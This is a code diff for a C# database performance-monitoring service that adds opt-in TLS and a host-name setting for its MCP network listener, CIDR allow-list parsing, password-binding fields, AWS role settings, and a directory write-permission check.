+                problems.Add($"{label}: {AwsRoleSettings.RoleNeedsPostgresMessage}");
+            }
         }
 
         return problems;
@@ -1115,6 +1247,19 @@ public sealed class SmtpConfig
     [JsonPropertyName("encryptedPassword")]
     public string? EncryptedPassword { get; set; }
 
+    /// <summary>Whether darling.json itself declares <see cref="EncryptedPassword"/> as it stands (the
+    /// <see cref="MonitoredServer.EncryptedPasswordDeclaredByFile"/> rule, for the SMTP slot, #5366).</summary>
+    [JsonIgnore]
+    internal bool EncryptedPasswordDeclaredByFile { get; set; }
+
+    /// <summary>The pin taken at upgrade for the SMTP slot, when the store holds one (#5366).</summary>
+    [JsonIgnore]
+    internal LegacyPin? SecretPin { get; set; }
+
+    /// <summary>The binding a sealed SMTP password must have been sealed for.</summary>
+    [JsonIgnore]
+    internal PasswordBinding SecretBinding => PasswordBinding.ForSmtp(Host, Port, UseSsl, Username);
+
     /// <summary>
     /// The SMTP password as a literal or an <c>env:</c>/<c>file:</c> reference (#1804 —
     /// <see cref="DarlingSecretSource"/>). Before this, SMTP had ONLY the DPAPI field, so non-Windows
@@ -1162,9 +1307,10 @@ public sealed class McpConfig
     /// <summary>
     /// Opt-in network exposure for the MCP server (darling-network-endpoints). Omit for the secure
     /// default = loopback-only, tokenless HTTP (today's behavior). Managed-mode only; ignored in BYO
-    /// with a caller warning. Any missing precondition (token / valid allowFrom / managed) keeps MCP
-    /// loopback-only + LogCritical — enforced in the MCP host, NEVER in the all-fatal
-    /// <see cref="DarlingConfig.Validate"/> (D-validate). See <see cref="McpNetworkConfig"/>.
+    /// with a caller warning. Any missing precondition (token / valid allowFrom / managed, and a usable
+    /// certificate when <c>tls</c> is set, #5288) keeps MCP loopback-only + LogCritical — enforced in the MCP
+    /// host, NEVER in the all-fatal <see cref="DarlingConfig.Validate"/> (D-validate). See
+    /// <see cref="McpNetworkConfig"/>.
     /// </summary>
     [JsonPropertyName("network")]
     public McpNetworkConfig? Network { get; set; }
@@ -1230,8 +1376,13 @@ public sealed class PostgresNetworkConfig
 /// with a non-loopback <see cref="Listen"/> AND managed mode AND a token AND a valid
 /// <see cref="AllowFrom"/>, the MCP host binds the network interface behind a required bearer token +
 /// an in-app CIDR check (D3); any missing precondition keeps MCP loopback-only + LogCritical
-/// (fail-closed, enforced in the MCP host). No TLS on MCP (a self-signed cert breaks real clients; the
-/// named MITM control is a TLS reverse proxy in front of the endpoint).
+/// (fail-closed, enforced in the MCP host).
+///
+/// <para><b>TLS is opt-in via <see cref="Tls"/> (#5288).</b> Without it the network listener is plain HTTP, and
+/// the bearer token and every tool result cross the segment in the clear — the MCP host warns about exactly
+/// that at every exposed start, and a TLS-terminating reverse proxy in front of the port is the other way to
+/// close the gap. <see cref="HostName"/> names the one DNS name clients reach the endpoint by. Both are
+/// file-only and restart-only, like the rest of this block, and both are null by default.</para>
 /// </summary>
 public sealed class McpNetworkConfig
 {
@@ -1243,10 +1394,19 @@ public sealed class McpNetworkConfig
     public string? Listen { get; set; }
 
     /// <summary>
-    /// The CIDR the in-app <c>RemoteIpAddress</c> check and the firewall rule allow (e.g.
+    /// The CIDR(s) the in-app <c>RemoteIpAddress</c> check and the firewall rule allow (e.g.
     /// <c>192.168.1.0/24</c>); loopback is always allowed regardless. Required when exposed.
+    ///
+    /// <para>#5288: a JSON string holding one CIDR, or several separated by commas
+    /// (<c>"10.8.0.0/16,192.168.1.5/32"</c>), or a JSON array of CIDR strings
+    /// (<c>["10.8.0.0/16", "192.168.1.5/32"]</c>). The property stays a string: the converter joins an array
+    /// with commas, and <see cref="Hosting.CidrAllowList"/> is the one parser. Every entry must be CIDR form
+    /// (<c>/32</c> for one address) and of the SAME address family as <see cref="Listen"/> (a <c>::</c> listen
+    /// takes IPv6 entries only); host bits are masked rather than refused. One bad entry degrades the whole
+    /// listener to loopback-only with a Critical line — an entry is never dropped quietly.</para>
     /// </summary>
     [JsonPropertyName("allowFrom")]
+    [JsonConverter(typeof(Hosting.CidrListJsonConverter))]
     public string? AllowFrom { get; set; }
 
     /// <summary>
@@ -1264,6 +1424,37 @@ public sealed class McpNetworkConfig
     [JsonPropertyName("token")]
     public string? Token { get; set; }
 
+    /// <summary>
+    /// Opt-in TLS for the MCP network listener (#5288). Omit for plain HTTP, which is the zero-config default and
+    /// the right answer on loopback; supply a certificate before exposing MCP on a segment where the bearer
+    /// token and the tool results crossing in the clear matter. The SAME type as <c>web.network.tls</c>
+    /// (<see cref="WebTlsConfig"/>), but its OWN block with its own fail-closed decision: no shared block and no
+    /// precedence rule between the two listeners. To serve one certificate on both, point both blocks at the
+    /// same files. A bad, expired or not-yet-valid certificate keeps MCP loopback-only with a Critical line,
+    /// never plain HTTP on the LAN. File-only and restart-only: a renewed certificate file is served after a
+    /// service restart.
+    /// </summary>
+    [JsonPropertyName("tls")]
+    public WebTlsConfig? Tls { get; set; }
+
+    /// <summary>
+    /// The ONE DNS name clients reach the MCP endpoint by (#5288), e.g. <c>mcp.corp.example</c>: a bare name with
+    /// no scheme, port, path, wildcard or IP address (see <see cref="NormalizeHostName"/> for the exact rules).
+    /// In NETWORK mode the Host-header guard admits that one exact name, compared ignoring case, beside the
+    /// names it always admits; it never admits a name the operator did not write here. In loopback-only mode,
+    /// and in every mode that degrades to it (an unreadable token, a refused certificate), the guard does NOT
+    /// admit it: that surface is tokenless, and the name exists for the network listener's clients. With
+    /// <see cref="Tls"/> set it is also the name the certificate should carry as a dNSName SAN, and the host
+    /// warns (never refuses) when it does not. A value that is set but is not a bare DNS name is ignored with one
+    /// Warning at start. A name written in Unicode is admitted as the ASCII (punycode) name a client sends in
+    /// its Host header; a punycode (<c>xn--</c>) label that does not decode, such as <c>xn--a</c>, is refused the
+    /// same way. Unlike <c>web.publicBaseUrl</c> (admitted in both modes) this is a bare host rather than
+    /// a URL, because MCP has no link builder: a scheme, port and path would be unused fields that could
+    /// disagree with the listener. File-only and restart-only.
+    /// </summary>
+    [JsonPropertyName("hostName")]
+    public string? HostName { get; set; }
+
     /// <summary>
     /// True when any field is set — used only for the BYO "network.* is ignored" caller warning (D-BYO);
     /// NOT the same as "exposed".
@@ -1273,7 +1464,132 @@ public sealed class McpNetworkConfig
         !string.IsNullOrWhiteSpace(Listen)
         || !string.IsNullOrWhiteSpace(AllowFrom)
         || !string.IsNullOrWhiteSpace(EncryptedToken)
-        || !string.IsNullOrWhiteSpace(Token);
+        || !string.IsNullOrWhiteSpace(Token)
+        || !string.IsNullOrWhiteSpace(HostName)
+        || (Tls?.IsConfigured ?? false);
+
+    /// <summary>
+    /// The bare DNS name a raw <see cref="HostName"/> stands for, or null when there is none to use (#5288). PURE:
+    /// no DNS lookup, no config, no logger. The rules, in this order:
+    ///
+    /// <list type="number">
+    /// <item>A null, empty or blank value is "not set": null.</item>
+    /// <item>Surrounding whitespace is trimmed.</item>
+    /// <item>ONE trailing dot is stripped (<c>mcp.corp.example.</c> is the same name written fully qualified).
+    /// A name that still ends in a dot after that (<c>host..</c>) is refused: an empty label is a typo, not a
+    /// name.</item>
+    /// <item>A name with any non-ASCII character is an internationalized name. A client sends its ASCII
+    /// (punycode) form in the Host header, never the Unicode form, so a Unicode name could never match: it is
+    /// mapped with <c>IdnMapping.GetAscii</c> (<c>b&#252;cher.example</c> becomes <c>xn--bcher-kva.example</c>,
+    /// folded to lower case as IDNA does), and every rule below runs on that ASCII form. A name the mapping
+    /// refuses (an empty label, a label over 63 characters once encoded, a lone surrogate) is refused: null. So
+    /// is a mapped name that ends in a dot, which the mapping can produce from an ideographic full stop. An
+    /// all-ASCII name is never mapped, so it keeps its spelling, and its case too unless it has an <c>xn--</c>
+    /// label (see the last rule).</item>
+    /// <item>Only a DNS name survives: <c>Uri.CheckHostName</c> must say <c>Dns</c>, on the ASCII form. An IP
+    /// address (the guard admits the listen IP by itself, and a fullwidth <c>10.1.2.3</c> maps to one), a port
+    /// (<c>host:5152</c>), a scheme or path (<c>https://host/</c>), a wildcard (<c>*.corp.example</c>) and
+    /// anything with whitespace inside are refused: null.</item>
+    /// <item>A name with an <c>xn--</c> label must decode: <c>IdnMapping.GetUnicode</c> must not throw for it. The
+    /// MCP host decodes the name the same way before the Host-header guard compares it, and a malformed label
+    /// (<c>xn--a</c>) is a valid DNS name to <c>Uri.CheckHostName</c> yet makes that decode throw, so it is refused
+    /// here: null. A name that decodes is never rewritten to Unicode, but it is folded to lower case: IDNA names
+    /// are case-insensitive, and the framework decodes a Host header's <c>xn--</c> labels only when the prefix is
+    /// lower case (the form a client sends), so every spelling of one punycode name has to reach the guard in that
+    /// one form.</item>
+    /// </list>
+    ///
+    /// <para>An ASCII name keeps its case as written, because the Host-header guard compares ignoring case; the one
+    /// exception is a name with an <c>xn--</c> label, which is folded to lower case (the last rule above). A
+    /// caller tells "not set" from "set but refused" by testing <see cref="HostName"/> for blank first: a refused
+    /// value is ignored with one Warning at start, never an error, and never a reason to degrade a listener.</para>
+    /// </summary>
+    /// <param name="value">The raw <see cref="HostName"/>.</param>
+    /// <returns>The trimmed name without its trailing dot (its ASCII form when it was written in Unicode, folded to
+    /// lower case when it has an <c>xn--</c> label), or null when unset or refused.</returns>
+    public static string? NormalizeHostName(string? value)
+    {
+        if (string.IsNullOrWhiteSpace(value))
+        {
+            return null;
+        }
+
+        var name = value.Trim();
+        if (name.EndsWith('.'))
+        {
+            name = name[..^1];
+        }
+
+        /* "host.." had two dots: stripping one leaves an empty label that CheckHostName may let through, and no
+           client sends it as a Host. A bare "." strips to nothing. Both are refused. */
+        if (name.Length == 0 || name.EndsWith('.'))
+        {
+            return null;
+        }
+
+        /* A client sends the punycode (xn--) form of an internationalized name in its Host header, so a Unicode
+           value could never match what the guard compares it with. Map it to that form first; the DNS test below
+           then runs on the ASCII form, which is also what refuses a fullwidth "10.1.2.3" (it maps to an IPv4
+           address) or a "host:5152" the mapping let through. Only a name with a non-ASCII character is mapped:
+           an ASCII name is left exactly as written (an xn-- label folds the case further down). The mapping throws ArgumentException for a
+           name that is not a valid IDN (an empty label, a label too long once encoded, a lone surrogate): refused,
+           never an exception out of a start-up config read. */
+        if (!System.Text.Ascii.IsValid(name))
+        {
+            try
+            {
+                name = new System.Globalization.IdnMapping().GetAscii(name);
+            }
+            catch (ArgumentException)
+            {
+                return null;
+            }
+
+            /* The mapping folds the ideographic full stops (U+3002, U+FF0E, U+FF61) into dots, so a name can end in
+               a dot only now: refused, as the same typo written with an ASCII dot is above. */
+            if (name.Length == 0 || name.EndsWith('.'))
+            {
+                return null;
+            }
+        }
+
+        if (Uri.CheckHostName(name) != UriHostNameType.Dns)
+        {
+            return null;
+        }
+
+        /* #5288: the MCP host runs this name through HostString.FromUriComponent (it decodes every xn-- label with
+           IdnMapping.GetUnicode) so the guard compares it in the form the framework gives the middleware. A
+           malformed label such as "xn--a" is ASCII letters and a hyphen, so it passes the DNS test above, then makes
+           that decode throw ArgumentException, which stopped MCP from starting. A name the framework cannot decode
+           could never equal a decoded Host anyway: it is refused here, so the host logs its one "set but refused"
+           Warning and admits nothing for it (fail closed). Only the check runs, on the ASCII form: the decoded
+           result is dropped, so the name is never rewritten to Unicode. A name with no xn-- label is never decoded. */
+        if (name.Contains("xn--", StringComparison.OrdinalIgnoreCase))
+        {
+            try
+            {
+                _ = new System.Globalization.IdnMapping().GetUnicode(name);
+            }
+            catch (ArgumentException)
+            {
+                return null;
+            }
+
+            /* IDNA names are case-insensitive, and the framework decodes a Host header's xn-- labels only when the
+               prefix is lower case, which is the form a client sends. The guard decodes this name the same way, so
+               an upper-case spelling would stay undecoded while the client's header is decoded, and the two would
+               not compare equal. A name with an xn-- label is therefore folded to lower case here (it is all ASCII
+               by now), which is also the form the mapping above gives a Unicode name. A name with no xn-- label
+               keeps its case as written. */
+            if (Array.Exists(name.Split('.'), label => label.StartsWith("xn--", StringComparison.OrdinalIgnoreCase)))
+            {
+                name = name.ToLowerInvariant();
+            }
+        }
+
+        return name;
+    }
 
     /// <summary>
     /// The bearer token, preferring <see cref="EncryptedToken"/> (DPAPI-decrypted; Windows-only) over
@@ -1364,9 +1680,8 @@ public sealed class WebConfig
 ///
 /// <para><b>TLS is opt-in via <see cref="Tls"/> (#2562).</b> Without it the network listener is plain HTTP and
 /// the token and session cookie cross the segment in the clear — the web host warns about exactly that at
-/// every exposed start. MCP still has no TLS of its own on the older rationale that a self-signed certificate
-/// breaks real MCP clients; that argument is about MCP clients rather than about the wire, and it does not
-/// carry to a surface whose only client is a browser.</para>
+/// every exposed start. The MCP endpoint has its own <c>mcp.network.tls</c> block of the same type (#5288);
+/// the two listeners never share a block.</para>
 /// </summary>
 public sealed class WebNetworkConfig
 {
@@ -1378,10 +1693,19 @@ public sealed class WebNetworkConfig
     public string? Listen { get; set; }
 
     /// <summary>
-    /// The CIDR the in-app <c>RemoteIpAddress</c> check and the firewall rule allow (e.g.
+    /// The CIDR(s) the in-app <c>RemoteIpAddress</c> check and the firewall rule allow (e.g.
     /// <c>192.168.1.0/24</c>); loopback is always allowed regardless. Required when exposed.
+    ///
+    /// <para>#5288: a JSON string holding one CIDR, or several separated by commas
+    /// (<c>"10.8.0.0/16,192.168.1.5/32"</c>), or a JSON array of CIDR strings
+    /// (<c>["10.8.0.0/16", "192.168.1.5/32"]</c>). The property stays a string: the converter joins an array
+    /// with commas, and <see cref="Hosting.CidrAllowList"/> is the one parser. Every entry must be CIDR form
+    /// (<c>/32</c> for one address) and of the SAME address family as <see cref="Listen"/> (a <c>::</c> listen
+    /// takes IPv6 entries only); host bits are masked rather than refused. One bad entry degrades the whole
+    /// listener to loopback-only with a Critical line — an entry is never dropped quietly.</para>
     /// </summary>
     [JsonPropertyName("allowFrom")]
+    [JsonConverter(typeof(Hosting.CidrListJsonConverter))]
     public string? AllowFrom { get; set; }
 
     /// <summary>
@@ -1589,11 +1913,14 @@ public sealed class WebOidcConfig
 }
 
 /// <summary>
-/// Opt-in TLS for the web dashboard's network listener (#2562). Omit the whole <c>tls</c> object for plain
-/// HTTP — the zero-config default, and the correct one for a loopback-only dashboard, which has nothing to
-/// encrypt. Supply a certificate to close the gap the exposure block otherwise leaves open: the access token
-/// and the HMAC session cookie it is exchanged for both cross the segment in the clear over HTTP, and the
-/// in-app CIDR check bounds who can ROUTE to the port, never what an on-path attacker can read off the wire.
+/// Opt-in TLS for a network listener (#2562, #5288). This one type backs BOTH <c>web.network.tls</c> (the web
+/// dashboard) and <c>mcp.network.tls</c> (the MCP endpoint): two separate blocks, each its own fail-closed
+/// decision, with no shared block and no precedence rule. To serve one certificate on both, point both blocks at
+/// the same files. Omit the whole <c>tls</c> object for plain HTTP — the zero-config default, and the correct
+/// one for a loopback-only listener, which has nothing to encrypt. Supply a certificate to close the gap the
+/// exposure block otherwise leaves open: the access token (and, on the web, the HMAC session cookie it is
+/// exchanged for; on MCP, every tool result) crosses the segment in the clear over HTTP, and the in-app CIDR
+/// check bounds who can ROUTE to the port, never what an on-path attacker can read off the wire.
 ///
 /// <para><b>Two forms, exactly one at a time.</b> A PKCS#12 bundle (<see cref="PfxPath"/>, with the password
 /// in whichever of the three slots suits the platform) or a PEM pair (<see cref="CertPath"/> +
@@ -1606,7 +1933,7 @@ public sealed class WebOidcConfig
 /// replaces. An internal CA is the normal answer on the LAN this feature is for.</para>
 ///
 /// <para><b>Fail-closed, like every other exposure precondition.</b> A missing, unreadable, mismatched or
-/// EXPIRED certificate keeps the dashboard loopback-only and logs Critical. It never falls back to serving
+/// EXPIRED certificate keeps the listener loopback-only and logs Critical. It never falls back to serving
 /// the LAN over HTTP: an operator who configured TLS and silently got cleartext would be in precisely the
 /// state this block exists to prevent.</para>
 /// </summary>
@@ -1665,7 +1992,11 @@ public sealed class WebTlsConfig
     /// over <see cref="PfxPassword"/> — the same shape as <see cref="WebNetworkConfig.ResolveToken"/>.
     /// Returns null when neither is set, which is correct for a bundle with no password rather than an error.
     /// </summary>
-    public string? ResolvePfxPassword(out bool usedPlaintext)
+    /// <param name="usedPlaintext">True when the plaintext <see cref="PfxPassword"/> literal was used (an
+    /// <c>env:</c>/<c>file:</c> reference is not plaintext), so the caller can warn.</param>
+    /// <param name="section">Which listener's block this is, <c>"web"</c> (the default) or <c>"mcp"</c>; it only
+    /// names the setting in the messages (<c>{section}.network.tls.pfxPassword</c>).</param>
+    public string? ResolvePfxPassword(out bool usedPlaintext, string section = "web")
     {
         usedPlaintext = false;
 
@@ -1677,7 +2008,7 @@ from the container path too (exposure is honored in a container since #1804), so
             if (!OperatingSystem.IsWindows())
             {
                 throw new PlatformNotSupportedException(
-                    "web.network.tls.encryptedPfxPassword requires Windows (DPAPI); use \"pfxPassword\" with a "
+                    $"{section}.network.tls.encryptedPfxPassword requires Windows (DPAPI); use \"pfxPassword\" with a "
                     + "file:/env: reference on other platforms.");
             }
 
@@ -1688,7 +2019,7 @@ from the container path too (exposure is honored in a container since #1804), so
         {
             /* An env:/file: reference (#1804) is not plaintext-in-config — no warning for it. */
             usedPlaintext = !DarlingSecretSource.IsReference(PfxPassword);
-            return DarlingSecretSource.Resolve(PfxPassword, "web.network.tls.pfxPassword");
+            return DarlingSecretSource.Resolve(PfxPassword, $"{section}.network.tls.pfxPassword");
         }
 
         return null;
@@ -1877,6 +2208,16 @@ public sealed class WebhooksConfig
 
     [JsonPropertyName("pagerDutyProxy")]
     public string PagerDutyProxy { get; set; } = "";
+
+    /// <summary>
+    /// Opt-in (V166, <c>config_notification.pagerduty_auto_resolve</c>): the closing edge of an edge-type
+    /// alert pair is delivered to PagerDuty as a <c>resolve</c> event that CLOSES the incident its firing
+    /// edge's trigger opened, instead of the shipped info-severity trigger that leaves it open. Stored on
+    /// the singleton notification row (authoritative in the store; the Viewer's Settings window authors it),
+    /// so a store reload applies the operator's choice live like the sibling knobs on this row.
+    /// </summary>
+    [JsonPropertyName("pagerDutyAutoResolve")]
+    public bool PagerDutyAutoResolve { get; set; } = false;
 }
 
 public sealed class MonitoredServer
@@ -2091,6 +2432,40 @@ public sealed class MonitoredServer
     [JsonPropertyName("remediationEncryptedPassword")]
     public string? RemediationEncryptedPassword { get; set; }
 
+    /// <summary>
+    /// The AWS IAM role Darling assumes to reach this Amazon RDS or Aurora target (#5452), as a role ARN such as
+    /// <c>arn:aws:iam::123456789012:role/darling-monitor</c>. Unset (the default) means the process's own AWS
+    /// credentials, exactly as before. PostgreSQL targets only.
+    ///
+    /// <para><b>darling.json seeds only a NEW row.</b> The store is authoritative once a server is registered
+    /// (the seed is <c>ON CONFLICT DO NOTHING</c>, <c>StoreConfigProvider</c>), so changing this in the file
+    /// does not move a server that is already stored: edit it from the web, the MCP tool or the desktop
+    /// viewer.</para>
+    /// </summary>
+    [JsonPropertyName("awsRoleArn")]
+    public string? AwsRoleArn { get; set; }
+
+    /// <summary>
+    /// The external ID sent with the AssumeRole call for <see cref="AwsRoleArn"/> (#5452), when the role's trust policy
+    /// asks for one. Needs a role. Seeds a new row only, like the role.
+    /// </summary>
+    [JsonPropertyName("awsExternalId")]
+    public string? AwsExternalId { get; set; }
+
+    /// <summary>
+    /// The role and external ID as one value, trimmed, or null when no role is set (an external ID with no role is
+    /// never used). Two servers with the same key share one assumed-role session.
+    /// </summary>
+    [JsonIgnore]
+    public Targets.AwsRoleKey? AwsRoleKey
+    {
+        get
+        {
+            var role = AwsRoleSettings.Normalize(AwsRoleArn);
+            return role is null ? null : new Targets.AwsRoleKey(role, AwsRoleSettings.Normalize(AwsExternalId));
+        }
+    }
+
     /// <summary>
     /// Whether this server is armed for operator-initiated remediation: BOTH halves of the credential are
     /// present. A one-sided credential is not a weaker arm, it is a misconfiguration — so it reads as
@@ -2101,6 +2476,59 @@ public sealed class MonitoredServer
         !string.IsNullOrWhiteSpace(RemediationUsername) &&
         !string.IsNullOrWhiteSpace(RemediationEncryptedPassword);
 
+    /// <summary>
+    /// Whether darling.json itself declares <see cref="EncryptedPassword"/> as it stands: the same <c>env:</c>/<c>file:</c>
+    /// reference or old-format (DPAPI) value, in this same slot, for this same server id (#5240, #5366). It is the one thing
+    /// that lets such a reference resolve when it names one of the service's own configuration files or secrets
+    /// (<see cref="DarlingSecrets.ResolvePassword(MonitoredServer, out bool, IPasswordKeyRing?)"/>), and lets an old-format
+    /// value open without a pin; every other owned reference is refused where it resolves, and an old-format value with no
+    /// pin is not opened. A sealed value is never marked: it opens through the key ring only.
+    ///
+    /// <para>Set in two places, and never from a stored value. <see cref="DarlingConfig.Parse"/> sets it on an entry read from
+    /// the file, since the file declares what it holds. <c>StoreConfigProvider.BuildServerFromRow</c> sets it on a server
+    /// built from a store row only when a file entry with the same server id declares the same text in this slot, so a store
+    /// row that names another server's reference, or whose slot was changed, is not marked. <see cref="JsonIgnore"/>:
+    /// the file cannot set it, and it is not stored.</para>
+    /// </summary>
+    [JsonIgnore]
+    internal bool EncryptedPasswordDeclaredByFile { get; set; }
+
+    /// <summary><see cref="EncryptedPasswordDeclaredByFile"/> for <see cref="RemediationEncryptedPassword"/>.</summary>
+    [JsonIgnore]
+    internal bool RemediationEncryptedPasswordDeclaredByFile { get; set; }
+
+    /// <summary>
+    /// The connection as the store row holds it, read once by <see cref="ServerConnectionIdentity.FromStoredColumns"/> from the raw
+    /// columns (null text and a null port are not defaulted any further). Null for an entry read from darling.json, whose
+    /// own properties are the connection (#5366).
+    /// </summary>
+    [JsonIgnore]
+    internal ServerConnectionIdentity? StoredIdentity { get; set; }
+
+    /// <summary>The pin taken at upgrade for the <c>encryptedPassword</c> slot, when the store holds one (#5366).</summary>
+    [JsonIgnore]
+    internal LegacyPin? SecretPin { get; set; }
+
+    /// <summary>The pin taken at upgrade for the remediation slot, when the store holds one (#5366).</summary>
+    [JsonIgnore]
+    internal LegacyPin? RemediationPin { get; set; }
+
+    /// <summary>
+    /// The connection settings this server's saved password is bound to (#5366). Throws <see cref="ArgumentException"/> when a
+    /// field is not valid text; the resolver treats that as the saved password not matching this connection.
+    /// </summary>
+    [JsonIgnore]
+    internal ServerConnectionIdentity ConnectionIdentity => StoredIdentity ?? ServerConnectionIdentity.FromStoredColumns(
+        Host, Port, Engine, Database, ReadOnlyIntent, Auth, Username, EncryptMode, TrustServerCertificate, MultiSubnetFailover);
+
+    /// <summary>The binding a sealed <c>encryptedPassword</c> must have been sealed for.</summary>
+    [JsonIgnore]
+    internal PasswordBinding SecretBinding => PasswordBinding.ForServer(ConnectionIdentity);
+
+    /// <summary>The binding a sealed remediation password must have been sealed for.</summary>
+    [JsonIgnore]
+    internal PasswordBinding RemediationBinding => PasswordBinding.ForRemediation(ConnectionIdentity, RemediationUsername);
+
     /// <summary>
     /// This server's <c>server_id</c>: the stored value when there is one, otherwise derived from
     /// <see cref="StorageName"/>.
diff --git a/Darling/PerformanceMonitor.Darling.Service/DarlingFileSecurity.cs b/Darling/PerformanceMonitor.Darling.Service/DarlingFileSecurity.cs
index ec3069a04f..fd7a6662f8 100644
--- a/Darling/PerformanceMonitor.Darling.Service/DarlingFileSecurity.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/DarlingFileSecurity.cs
@@ -474,28 +474,55 @@ public static bool IsTrustedOwner(string path)
         }
     }
 
-    private static string? AccessBeyondTrusted(FileSystemSecurity security)
+    /// <summary>
+    /// The accounts beyond SYSTEM, Administrators and the service account that are allowed to write to
+    /// <paramref name="directory"/>, delete from it or change who may (#5366), comma-separated; null when there are
+    /// none. Read access is not counted: a directory others may list is not one they can change. An entry that only
+    /// children inherit (inherit-only) does not apply to the directory itself and is not counted. An OWNER outside the
+    /// three is listed too, as "(the owner)": an owner can always change who may do what. A DACL that cannot be read is
+    /// reported, not passed.
+    /// </summary>
+    public static string? WriteAccessBeyondTrusted(string directory)
+    {
+        try
+        {
+            return WriteAccessBeyondTrusted(new DirectoryInfo(directory).GetAccessControl());
+        }
+        catch (Exception ex) when (ex is IOException or UnauthorizedAccessException or InvalidOperationException or PlatformNotSupportedException)
+        {
+            return $"its permissions could not be read ({ex.Message})";
+        }
+    }
+
+    /// <summary><see cref="WriteAccessBeyondTrusted(string)"/> over a security descriptor already in hand.</summary>
+    internal static string? WriteAccessBeyondTrusted(DirectorySecurity security) =>
+        AccessBeyondTrusted(security, DirectoryChangeRights, includeOwner: true);
+
+    private const FileSystemRights DirectoryChangeRights =
+        FileSystemRights.WriteData | FileSystemRights.AppendData | FileSystemRights.WriteExtendedAttributes
+        | FileSystemRights.WriteAttributes | FileSystemRights.Delete | FileSystemRights.DeleteSubdirectoriesAndFiles
+        | FileSystemRights.ChangePermissions | FileSystemRights.TakeOwnership;
+
+    private static string? AccessBeyondTrusted(FileSystemSecurity security, FileSystemRights? onlyRights = null, bool includeOwner = false)
     {
         var accounts = new List<string>();
+        if (includeOwner && security.GetOwner(typeof(SecurityIdentifier)) is SecurityIdentifier owner && !IsTrusted(owner))
+        {
+            accounts.Add(AccountName(owner) + " (the owner)");
+        }
+
         foreach (FileSystemAccessRule rule in security.GetAccessRules(true, true, typeof(SecurityIdentifier)))
         {
             if (rule.AccessControlType != AccessControlType.Allow
                 || rule.IdentityReference is not SecurityIdentifier sid
-                || IsTrusted(sid))
+                || IsTrusted(sid)
+                || (onlyRights is { } mask && (rule.FileSystemRights & mask) == 0)
+                || (onlyRights is not null && rule.PropagationFlags.HasFlag(PropagationFlags.InheritOnly)))
             {
                 continue;
             }
 
-            string name;
-            try
-            {
-                name = sid.Translate(typeof(NTAccount)).Value;
-            }
-            catch (IdentityNotMappedException)
-            {
-                name = sid.Value;
-            }
-
+            var name = AccountName(sid);
             if (!accounts.Contains(name))
             {
                 accounts.Add(name);
@@ -505,6 +532,18 @@ public static bool IsTrustedOwner(string path)
         return accounts.Count == 0 ? null : string.Join(", ", accounts);
     }
 
+    private static string AccountName(SecurityIdentifier sid)
+    {
+        try
+        {
+            return sid.Translate(typeof(NTAccount)).Value;
+        }
+        catch (IdentityNotMappedException)
+        {
+            return sid.Value;
+        }
+    }
+
     private static bool IsTrusted(SecurityIdentifier sid) =>
         sid.Equals(LocalSystem) || sid.Equals(Administrators) || sid.Equals(ServiceAccount);
 
diff --git a/Darling/PerformanceMonitor.Darling.Service/DarlingFindingAlertSender.cs b/Darling/PerformanceMonitor.Darling.Service/DarlingFindingAlertSender.cs
index ee5073715a..8210b21831 100644
--- a/Darling/PerformanceMonitor.Darling.Service/DarlingFindingAlertSender.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/DarlingFindingAlertSender.cs
@@ -11,6 +11,7 @@
 using System.Globalization;
 using System.Threading.Tasks;
 using Microsoft.Extensions.Logging;
+using PerformanceMonitor.Alerting;
 using PerformanceMonitor.Notifications;
 
 namespace PerformanceMonitor.Darling.Service;
@@ -74,6 +75,10 @@ public DarlingFindingAlertSender(
             return null;
         try
         {
+        /* #5320 (part of #4348): the statement filter, before anything is composed, sent or written. The
+           context, its attachment and the prose are judged once here, so the digest row, the channels and
+           the history row all carry the filtered values. */
+            named = AlertStatementFilter.Apply(named);
             var (serverName, currentValue, context) = FindingSummary.Compose(named);
             var result = await _core.TrySendAsync(
                 FindingSummary.MetricName, serverName, currentValue, named.Count.ToString(CultureInfo.InvariantCulture),
@@ -115,6 +120,10 @@ await _historyStore.RecordAlertAsync(new AlertHistoryRecord(
 
         try
         {
+        /* #5320 (part of #4348): the statement filter, before anything is composed, sent or written. The
+           context, its attachment and the prose are judged once here, so the digest row, the channels and
+           the history row all carry the filtered values. */
+            alert = AlertStatementFilter.Apply(alert);
             var context = alert.Context;
             AlertDelivery delivery;
 
diff --git a/Darling/PerformanceMonitor.Darling.Service/DarlingFirewallCheck.cs b/Darling/PerformanceMonitor.Darling.Service/DarlingFirewallCheck.cs
index 4fb0f5672d..62c0dad201 100644
--- a/Darling/PerformanceMonitor.Darling.Service/DarlingFirewallCheck.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/DarlingFirewallCheck.cs
@@ -248,7 +248,7 @@ a count out of a run that failed. */
                     "so remote clients will be blocked. The service account cannot create it by design. Run " +
                     "PerformanceMonitor.Darling.Service.exe --configure-firewall from an ELEVATED PowerShell (it " +
                     "reconciles every Darling rule from darling.json), or run just this one:\n{Command}",
-                    ruleName, port, remedy ?? "(no command — allowFrom is missing or not a valid CIDR; run --configure-network)");
+                    ruleName, port, remedy ?? "(no command — allowFrom is missing or not a valid CIDR list; run --configure-network)");
                 break;
 
             case FirewallRuleVerdict.LoopbackStaleRule:
diff --git a/Darling/PerformanceMonitor.Darling.Service/DarlingFleetSweepEndpoints.cs b/Darling/PerformanceMonitor.Darling.Service/DarlingFleetSweepEndpoints.cs
index 6d705612b3..4ce625d114 100644
--- a/Darling/PerformanceMonitor.Darling.Service/DarlingFleetSweepEndpoints.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/DarlingFleetSweepEndpoints.cs
@@ -97,10 +97,12 @@ internal static class DarlingFleetSweepEndpoints
         if (rawHours is not null
             && !int.TryParse(rawHours, NumberStyles.Integer, CultureInfo.InvariantCulture, out hours))
         {
-            return McpHelpers.Refusal("hours", $"Invalid hours value '{rawHours}'. Expected a whole number of hours (1-{McpHelpers.MaxHoursBack}).");
+            return McpHelpers.Refusal("hours", $"Invalid hours value '{rawHours}'. Expected a whole number of hours (1-{WebReadReach.All["get_sweep_reports"].MaxHours}).");
         }
 
-        return McpHelpers.ValidateWindow(hours, asOf, out endUtc);
+        /* The ceiling is get_sweep_reports' WebReadReach row, the number the sweeps page reads from the catalog, so the page and this
+           endpoint share one source (#5562 review r1 L7). The row stays at the default, so this is not an opted-in validator. */
+        return McpHelpers.ValidateWindow(hours, asOf, WebReadReach.All["get_sweep_reports"].MaxHours, out endUtc);
     }
 
     /// <summary>
@@ -253,21 +255,19 @@ private static async Task<JsonObject> BuildDetailAsync(
